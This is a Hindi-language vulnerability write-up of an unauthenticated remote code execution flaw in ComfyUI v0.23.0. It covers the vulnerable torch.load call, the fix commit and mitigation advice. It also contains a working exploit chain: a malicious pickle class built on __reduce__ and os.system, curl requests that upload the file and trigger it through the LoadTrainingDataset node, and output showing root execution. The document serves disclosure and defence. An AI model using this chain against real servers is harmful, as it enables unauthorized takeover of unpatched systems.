
सुरक्षा अनुसंधान प्रयोगशाला — ComfyUI v0.23.0 में असुरक्षित डीसेरिएलाइज़ेशन के माध्यम से अनऑथेंटिकेटेड RCE (CVSS 9.8)। पृथक Docker वातावरण, तकनीकी विश्लेषण और दस्तावेज़ीकरण।
केवल शैक्षिक उद्देश्यों के लिए। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।
ComfyUI AI इमेज और वीडियो जनरेशन मॉडलों को स्थानीय रूप से चलाने के लिए एक ओपन-सोर्स नोड-आधारित ग्राफिकल इंटरफ़ेस है। यह उपयोगकर्ताओं को नोड्स को दृश्य रूप से जोड़कर जटिल जनरेशन पाइपलाइन बनाने की अनुमति देता है — प्रत्येक नोड एक ऑपरेशन का प्रतिनिधित्व करता है जैसे कि मॉडल लोड करना, टेक्स्ट प्रॉम्प्ट एन्कोड करना, सैंपलिंग, या इमेज का पोस्ट-प्रोसेसिंग। इसकी लचीलापन और मॉडलों की एक विस्तृत श्रृंखला (Stable Diffusion, Flux, HunyuanVideo, और अन्य) के लिए समर्थन ने इसे AI जनरेशन समुदाय में सबसे व्यापक रूप से अपनाए गए टूल्स में से एक बना दिया है।
एप्लिकेशन पोर्ट 8188 पर एक स्थानीय HTTP API को उजागर करता है, जिसके माध्यम से फ्रंटएंड बैकएंड के साथ संचार करता है ताकि एसेट्स अपलोड किए जा सकें और जनरेशन वर्कफ़्लो को कतारबद्ध किया जा सके। हालांकि यह सिंगल-यूज़र स्थानीय उपयोग के लिए डिज़ाइन किया गया है, आंतरिक नेटवर्कों पर या सीधे इंटरनेट पर ComfyUI इंस्टेंस पाए जाना आम है — क्लाउड GPU वातावरणों, साझा शोध सेटअपों, या स्व-होस्टेड क्रिएटिव स्टूडियो में — अक्सर बिना किसी अतिरिक्त प्रमाणीकरण परत के, जो ठीक उसी खतरे के मॉडल से मेल खाता है जिसे यह भेद्यता लक्षित करती है।
प्रकटीकरण के समय, ComfyUI के GitHub पर 65,000 से अधिक स्टार थे और कस्टम नोड्स और एक्सटेंशनों का एक सक्रिय पारिस्थितिकी तंत्र था, जिनमें से कई कोर एप्लिकेशन से परे अतिरिक्त हमला सतह पेश करते हैं।
CVE-2026-68771 ComfyUI v0.23.0 में एक असुरक्षित डीसेरिएलाइज़ेशन भेद्यता (CWE-502) है जो एक अनऑथेंटिकेटेड रिमोट हमलावर को सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है। हमला श्रृंखला दो अनऑथेंटिकेटेड एंडपॉइंट्स को जोड़ती है: एक दुर्भावनापूर्ण pickle फ़ाइल अपलोड करने के लिए , और नोड के माध्यम से इसके डीसेरिएलाइज़ेशन को ट्रिगर करने के लिए ।
POST /upload/imageLoadTrainingDatasetPOST /prompt| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8 (क्रिटिकल) |
| वेक्टर | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (अविश्वसनीय डेटा का डीसेरिएलाइज़ेशन) |
| भेद्य संस्करण | ComfyUI v0.23.0 (और पहले के संस्करण बिना फिक्स के) |
| फिक्स्ड संस्करण | Commit 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| प्रकाशित | 31 जुलाई, 2026 |
weights_only डिफ़ॉल्ट परिवर्तन से पहले का संस्करण)POST /upload/image — server.py, पंक्तियाँ 450-453:
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py, पंक्तियाँ 927-928:
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
दोनों में से कोई भी एंडपॉइंट किसी भी प्रकार का एक्सेस कंट्रोल लागू नहीं करता। कोई भी HTTP क्लाइंट बिना प्रमाणीकरण के फ़ाइलें अपलोड कर सकता है और वर्कफ़्लो को कतारबद्ध कर सकता है।
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py, पंक्ति 1568:
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
weights_only=True के बिना torch.load() फ़ाइल को डीसेरिएलाइज़ करने के लिए Python के pickle प्रोटोकॉल का उपयोग करता है। Pickle एक डेटा प्रारूप नहीं है — यह एक Python ऑब्जेक्ट सीरिएलाइज़ेशन प्रोटोकॉल है जो डीसेरिएलाइज़ेशन के दौरान किसी भी ऑब्जेक्ट की __reduce__ विधि को निष्पादित करता है, जिससे मनमाना कोड निष्पादन सक्षम होता है।
यह नोड PyTorch के ऐतिहासिक डिफ़ॉल्ट (weights_only=False) पर निर्भर था, जिससे यह पूरे कोडबेस में एकमात्र torch.load कॉल बन गया जिसमें स्पष्ट पैरामीटर नहीं था। शेष कोडबेस (comfy/utils.py, comfy/sd1_clip.py) इसे पहले से ही सही ढंग से पास कर रहा था।
Attacker (unauthenticated)
[0] CRAFT MALICIOUS PICKLE
└─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
└─ PyTorch's torch.save() format wraps it in a valid .pkl container
└─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
│
▼
[1] POST /upload/image
└─ Upload shard_0000.pkl (pickle with malicious __reduce__)
└─ Parameters: type=output, subfolder=cve_test
└─ Response: 200 OK {"name":"shard_0000.pkl", ...}
└─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ JSON workflow with LoadTrainingDataset node
└─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
└─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ Locates shard_0000.pkl in the directory
└─ torch.load(f) → deserializes the pickle
└─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
│
▼
[4] RCE as root
└─ uid=0(root) gid=0(root) groups=0(root)
पेलोड Python के pickle reduce प्रोटोकॉल का शोषण करता है। जब torch.load() फ़ाइल को डीसेरिएलाइज़ करता है, तो Python reduce द्वारा लौटाए गए कॉलबल को कॉल करके ऑब्जेक्ट को इंस्टैंशिएट करता है, जिससे किसी भी एप्लिकेशन लॉजिक के चलने से पहले हमलावर-नियंत्रित कमांड निष्पादित हो जाता है।
फ़ाइल नाम को shard_*.pkl पैटर्न से मेल खाना चाहिए — जो LoadTrainingDataset.execute() में फ़ाइल डिस्कवरी फ़िल्टर के रूप में हार्डकोडेड है:
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py:
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
आउटपुट:
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
प्रतिक्रिया:
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
HTTP 200 बिना किसी टोकन, सेशन, या विशेष हेडर के।
curl -s -X POST http://127.0.0.1:8188/prompt \
-H "Content-Type: application/json" \
-d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "cve_test" }
},
"2": {
"class_type": "SaveTrainingDataset",
"inputs": {
"latents": ["1", 0],
"conditioning": ["1", 1],
"folder_name": "cve_test_out",
"shard_size": 1000
}
}
}
}'
प्रतिक्रिया:
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
फ़ाइल: comfy_extras/nodes_dataset.py
लेखक: Matt Miller
दिनांक: 18 जून, 2026
PR: #14543
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)
एक एकल पैरामीटर। weights_only=True PyTorch को एक प्रतिबंधित डीसेरिएलाइज़र का उपयोग करने का निर्देश देता है जो केवल टेंसर और Python प्रिमिटिव प्रकारों को स्वीकार करता है, किसी भी मनमाने ऑब्जेक्ट को __reduce__ के साथ अस्वीकार करता है।
कमिट संदेश इसे स्पष्ट रूप से सारांशित करता है:
"LoadTrainingDataset कोडबेस में एकमात्र torch.load कॉल था जिसमें weights_only=True नहीं था; comfy/utils.py और comfy/sd1_clip.py इसे पहले से ही पास करते हैं। हाल के PyTorch में weights_only=True डिफ़ॉल्ट है, इसलिए यह पुराने PyTorch पर पिन किए गए इंस्टॉलों के लिए डिफेंस-इन-डेप्थ है।"
PyTorch संस्करण नोट: PyTorch 2.6 से शुरू करके, weights_only का डिफ़ॉल्ट मान False से True में बदल गया, जो आधुनिक PyTorch इंस्टॉलों पर कोड फिक्स के बिना भी भेद्यता को कम करता है। यह CVE विशेष रूप से PyTorch < 2.6 चलाने वाले इंस्टॉलों को प्रभावित करता है, जो जुलाई 2026 में प्रकाशित होने के समय विशिष्ट उत्पादन वातावरण था।
ComfyUI को commit 94ee49b या बाद के संस्करण में अपडेट करें। कोड की एक पंक्ति।
1. API एंडपॉइंट्स पर प्रमाणीकरण
ComfyUI स्थानीय उपयोग के लिए डिज़ाइन किया गया है। यदि किसी नेटवर्क पर उजागर किया जाता है, तो इसे बेसिक प्रमाणीकरण के साथ एक रिवर्स प्रॉक्सी (nginx/Caddy) द्वारा, या उचित सेशन प्रबंधन के साथ --multi-user फ़्लैग का उपयोग करके संरक्षित किया जाना चाहिए।
2. ComfyUI को सीधे इंटरनेट पर कभी न उजागर करें
एप्लिकेशन डिज़ाइन एक विश्वसनीय स्थानीय वातावरण मानता है। CVSS 9.8 स्कोर एप्लिकेशन परत पर एक्सेस कंट्रोल की पूर्ण अनुपस्थिति को दर्शाता है।
3. अपलोड पर फ़ाइल प्रकार सत्यापन
/upload/image एंडपॉइंट .pkl सहित किसी भी फ़ाइल एक्सटेंशन को स्वीकार करता है। इसे वास्तविक इमेज प्रारूपों की एक व्हाइटलिस्ट के विरुद्ध कंटेंट-टाइप और एक्सटेंशन को सत्यापित करना चाहिए।
torch.load कॉल में यह पहले से ही था) बताती है कि यह नोड सुरक्षा समीक्षा के बिना जोड़ा गया था।weights_only डिफ़ॉल्ट बदलने में वर्षों लगे; भेद्य कोड उस पूरी अवधि में मौजूद था।विश्लेषण शैक्षिक उद्देश्यों के लिए एक पृथक वातावरण में आयोजित किया गया। दस्तावेज़ीकरण के बाद लैब नष्ट कर दिया गया।